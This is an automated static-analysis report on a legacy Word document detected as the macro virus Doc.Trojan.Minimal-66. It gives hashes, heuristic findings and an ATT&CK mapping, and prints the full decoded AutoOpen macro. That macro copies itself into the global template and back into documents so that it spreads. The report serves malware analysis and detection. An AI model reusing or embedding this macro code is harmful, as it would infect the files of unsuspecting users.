Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7348a35deadbe804…

MALICIOUS

Office (OLE)

32.5 KB Created: 1999-07-06 14:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6da6d19ecf2d1d2aba9488d98a7eb116 SHA-1: 2afe23685f21a8a45ce7ee3b3b1fe268eccb10e0 SHA-256: 7348a35deadbe8049ab975f57758c70a710a0f13ac65b6ae6437fa539120af74
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains a legacy WordBasic AutoOpen macro, identified by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. The macro's code, `WordBasic.MacroCopy Copiaen$, "Global:AutoOpen"`, indicates an attempt to copy the AutoOpen macro to the global template, which is a common technique for establishing persistence. The CLAMAV_DETECTION heuristic further confirms the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-66 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-66
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 747 bytes
SHA-256: 71186c5fa9e5aa6c464d19892bfbbd98c5f30cd573b079607cc39d09da1a9178
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim Document$
Dim Copiaen$
    On Error GoTo -1: On Error GoTo unerror
    
    Document$ = WordBasic.[FileNameFromWindow$](0)
    Copiaen$ = Document$ + ":" + "AutoOpen"
    WordBasic.MacroCopy Copiaen$, "Global:AutoOpen"
    GoTo fin

unerror:
    WordBasic.FileSaveAs Name:=Document$, Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", Copiaen$
    Err.Number = 0
 
fin:
WordBasic.FileSaveAll 1
End Sub